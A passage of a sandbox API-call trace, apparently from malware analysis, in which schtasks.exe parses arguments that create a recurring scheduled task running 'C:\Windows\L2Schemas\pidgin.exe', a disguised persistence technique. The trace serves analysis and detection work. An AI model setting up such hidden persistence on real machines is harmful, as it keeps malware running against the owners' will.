[0113.019] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.019] lstrlenW (lpString="/mo") returned 3 [0113.019] lstrlenW (lpString="-/") returned 2 [0113.019] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.019] lstrlenW (lpString="create") returned 6 [0113.019] lstrlenW (lpString="create") returned 6 [0113.019] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.020] lstrlenW (lpString="mo") returned 2 [0113.020] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.020] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.020] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.020] lstrlenW (lpString="|create|") returned 8 [0113.020] lstrlenW (lpString="|mo|") returned 4 [0113.020] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0113.020] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.020] lstrlenW (lpString="?") returned 1 [0113.020] lstrlenW (lpString="?") returned 1 [0113.020] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.020] lstrlenW (lpString="mo") returned 2 [0113.020] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.020] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.020] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.020] lstrlenW (lpString="|?|") returned 3 [0113.020] lstrlenW (lpString="|mo|") returned 4 [0113.020] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.020] lstrlenW (lpString="s") returned 1 [0113.020] lstrlenW (lpString="s") returned 1 [0113.020] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.021] lstrlenW (lpString="mo") returned 2 [0113.021] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.021] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.021] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.021] lstrlenW (lpString="|s|") returned 3 [0113.021] lstrlenW (lpString="|mo|") returned 4 [0113.021] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.021] lstrlenW (lpString="u") returned 1 [0113.021] lstrlenW (lpString="u") returned 1 [0113.021] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.021] lstrlenW (lpString="mo") returned 2 [0113.021] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.021] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.021] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.021] lstrlenW (lpString="|u|") returned 3 [0113.021] lstrlenW (lpString="|mo|") returned 4 [0113.021] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.021] lstrlenW (lpString="p") returned 1 [0113.021] lstrlenW (lpString="p") returned 1 [0113.021] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.021] lstrlenW (lpString="mo") returned 2 [0113.022] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.022] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.022] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.022] lstrlenW (lpString="|p|") returned 3 [0113.022] lstrlenW (lpString="|mo|") returned 4 [0113.022] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.022] lstrlenW (lpString="ru") returned 2 [0113.022] lstrlenW (lpString="ru") returned 2 [0113.022] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.022] lstrlenW (lpString="mo") returned 2 [0113.022] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.022] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.022] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.022] lstrlenW (lpString="|ru|") returned 4 [0113.022] lstrlenW (lpString="|mo|") returned 4 [0113.022] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0113.022] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.022] lstrlenW (lpString="rp") returned 2 [0113.022] lstrlenW (lpString="rp") returned 2 [0113.022] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.022] lstrlenW (lpString="mo") returned 2 [0113.023] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.023] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.023] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.023] lstrlenW (lpString="|rp|") returned 4 [0113.023] lstrlenW (lpString="|mo|") returned 4 [0113.023] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0113.023] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.023] lstrlenW (lpString="sc") returned 2 [0113.023] lstrlenW (lpString="sc") returned 2 [0113.023] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.023] lstrlenW (lpString="mo") returned 2 [0113.023] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.023] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.023] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.023] lstrlenW (lpString="|sc|") returned 4 [0113.023] lstrlenW (lpString="|mo|") returned 4 [0113.023] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0113.023] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.023] lstrlenW (lpString="mo") returned 2 [0113.023] lstrlenW (lpString="mo") returned 2 [0113.023] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.024] lstrlenW (lpString="mo") returned 2 [0113.024] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.024] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.024] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.024] lstrlenW (lpString="|mo|") returned 4 [0113.024] lstrlenW (lpString="|mo|") returned 4 [0113.024] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] lstrlenW (lpString="8") returned 1 [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] lstrlenW (lpString="8") returned 1 [0113.024] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.024] _memicmp (_Buf1=0x1b748cba8c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.024] lstrlenW (lpString="8") returned 1 [0113.024] lstrlenW (lpString="8") returned 1 [0113.024] lstrlenW (lpString=" \x09") returned 2 [0113.024] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0113.024] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0113.024] GetLastError () returned 0x0 [0113.025] lstrlenW (lpString="8") returned 1 [0113.025] lstrlenW (lpString="8") returned 1 [0113.025] GetProcessHeap () returned 0x1b748cb0000 [0113.025] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x4) returned 0x1b748cb4a30 [0113.025] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.025] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.025] lstrlenW (lpString="/tr") returned 3 [0113.025] lstrlenW (lpString="-/") returned 2 [0113.025] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.025] lstrlenW (lpString="create") returned 6 [0113.025] lstrlenW (lpString="create") returned 6 [0113.025] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.025] lstrlenW (lpString="tr") returned 2 [0113.025] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.025] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.025] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.025] lstrlenW (lpString="|create|") returned 8 [0113.025] lstrlenW (lpString="|tr|") returned 4 [0113.025] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0113.025] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.025] lstrlenW (lpString="?") returned 1 [0113.025] lstrlenW (lpString="?") returned 1 [0113.025] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.026] lstrlenW (lpString="tr") returned 2 [0113.026] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.026] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|?|") returned 3 [0113.026] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.026] lstrlenW (lpString="|?|") returned 3 [0113.026] lstrlenW (lpString="|tr|") returned 4 [0113.026] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.026] lstrlenW (lpString="s") returned 1 [0113.026] lstrlenW (lpString="s") returned 1 [0113.026] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.026] lstrlenW (lpString="tr") returned 2 [0113.026] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.026] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|s|") returned 3 [0113.026] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.026] lstrlenW (lpString="|s|") returned 3 [0113.026] lstrlenW (lpString="|tr|") returned 4 [0113.026] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.026] lstrlenW (lpString="u") returned 1 [0113.026] lstrlenW (lpString="u") returned 1 [0113.026] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.027] lstrlenW (lpString="tr") returned 2 [0113.027] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.027] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|u|") returned 3 [0113.027] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.027] lstrlenW (lpString="|u|") returned 3 [0113.027] lstrlenW (lpString="|tr|") returned 4 [0113.027] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.027] lstrlenW (lpString="p") returned 1 [0113.027] lstrlenW (lpString="p") returned 1 [0113.027] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.027] lstrlenW (lpString="tr") returned 2 [0113.027] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.027] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|p|") returned 3 [0113.027] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.027] lstrlenW (lpString="|p|") returned 3 [0113.027] lstrlenW (lpString="|tr|") returned 4 [0113.027] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.027] lstrlenW (lpString="ru") returned 2 [0113.027] lstrlenW (lpString="ru") returned 2 [0113.027] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.110] lstrlenW (lpString="tr") returned 2 [0113.110] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.111] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|ru|") returned 4 [0113.111] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.111] lstrlenW (lpString="|ru|") returned 4 [0113.111] lstrlenW (lpString="|tr|") returned 4 [0113.111] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0113.111] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.111] lstrlenW (lpString="rp") returned 2 [0113.111] lstrlenW (lpString="rp") returned 2 [0113.111] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.111] lstrlenW (lpString="tr") returned 2 [0113.111] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.111] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rp|") returned 4 [0113.111] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.111] lstrlenW (lpString="|rp|") returned 4 [0113.111] lstrlenW (lpString="|tr|") returned 4 [0113.111] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0113.111] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.111] lstrlenW (lpString="sc") returned 2 [0113.111] lstrlenW (lpString="sc") returned 2 [0113.111] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.112] lstrlenW (lpString="tr") returned 2 [0113.112] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.112] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|sc|") returned 4 [0113.112] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.112] lstrlenW (lpString="|sc|") returned 4 [0113.112] lstrlenW (lpString="|tr|") returned 4 [0113.112] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0113.112] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.112] lstrlenW (lpString="mo") returned 2 [0113.112] lstrlenW (lpString="mo") returned 2 [0113.112] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.112] lstrlenW (lpString="tr") returned 2 [0113.112] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.112] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|mo|") returned 4 [0113.112] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.112] lstrlenW (lpString="|mo|") returned 4 [0113.112] lstrlenW (lpString="|tr|") returned 4 [0113.112] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0113.112] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.112] lstrlenW (lpString="d") returned 1 [0113.113] lstrlenW (lpString="d") returned 1 [0113.113] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.113] lstrlenW (lpString="tr") returned 2 [0113.113] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.113] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|d|") returned 3 [0113.113] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.113] lstrlenW (lpString="|d|") returned 3 [0113.113] lstrlenW (lpString="|tr|") returned 4 [0113.113] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.113] lstrlenW (lpString="m") returned 1 [0113.113] lstrlenW (lpString="m") returned 1 [0113.113] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.113] lstrlenW (lpString="tr") returned 2 [0113.113] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.113] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|m|") returned 3 [0113.113] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.113] lstrlenW (lpString="|m|") returned 3 [0113.113] lstrlenW (lpString="|tr|") returned 4 [0113.113] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.113] lstrlenW (lpString="i") returned 1 [0113.113] lstrlenW (lpString="i") returned 1 [0113.114] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.114] lstrlenW (lpString="tr") returned 2 [0113.114] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.114] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|i|") returned 3 [0113.114] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.114] lstrlenW (lpString="|i|") returned 3 [0113.114] lstrlenW (lpString="|tr|") returned 4 [0113.114] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.114] lstrlenW (lpString="tn") returned 2 [0113.114] lstrlenW (lpString="tn") returned 2 [0113.114] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.114] lstrlenW (lpString="tr") returned 2 [0113.114] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.114] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tn|") returned 4 [0113.114] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.114] lstrlenW (lpString="|tn|") returned 4 [0113.114] lstrlenW (lpString="|tr|") returned 4 [0113.114] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0113.114] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.114] lstrlenW (lpString="tr") returned 2 [0113.114] lstrlenW (lpString="tr") returned 2 [0113.115] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.115] lstrlenW (lpString="tr") returned 2 [0113.115] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.115] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.115] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|tr|") returned 4 [0113.115] lstrlenW (lpString="|tr|") returned 4 [0113.115] lstrlenW (lpString="|tr|") returned 4 [0113.115] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0113.115] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.115] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.115] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.115] lstrlenW (lpString="-/") returned 2 [0113.115] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0113.115] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.115] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.115] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.115] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.115] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0113.115] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.115] _memicmp (_Buf1=0x1b748cba920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.115] _memicmp (_Buf1=0x1b748cbaa20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] lstrlenW (lpString="'C") returned 2 [0113.116] lstrlenW (lpString="-/") returned 2 [0113.116] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.116] _memicmp (_Buf1=0x1b748cba8c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.116] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.116] GetProcessHeap () returned 0x1b748cb0000 [0113.116] HeapValidate (hHeap=0x1b748cb0000, dwFlags=0x0, lpMem=0x1b748cbaa40) returned 1 [0113.116] GetProcessHeap () returned 0x1b748cb0000 [0113.116] RtlReAllocateHeap (Heap=0x1b748cb0000, Flags=0xc, Ptr=0x1b748cbaa40, Size=0x44) returned 0x1b748cbc0a0 [0113.116] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.116] lstrlenW (lpString=" \x09") returned 2 [0113.116] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0113.116] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0113.116] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0113.116] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0113.116] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0113.117] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0113.118] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0113.118] GetLastError () returned 0x0 [0113.118] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.118] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0113.118] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.118] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.118] lstrlenW (lpString="/rl") returned 3 [0113.118] lstrlenW (lpString="-/") returned 2 [0113.118] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0113.118] lstrlenW (lpString="create") returned 6 [0113.118] lstrlenW (lpString="create") returned 6 [0113.118] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.118] lstrlenW (lpString="rl") returned 2 [0113.118] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0113.118] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|create|") returned 8 [0113.118] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7c728 | out: _Buffer="|rl|") returned 4 [0113.118] lstrlenW (lpString="|create|") returned 8 [0113.119] lstrlenW (lpString="|rl|") returned 4 [0113.119] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0113.119] RtlRestoreLastWin32Error () returned 0x119efbf000 [0113.119] lstrlenW 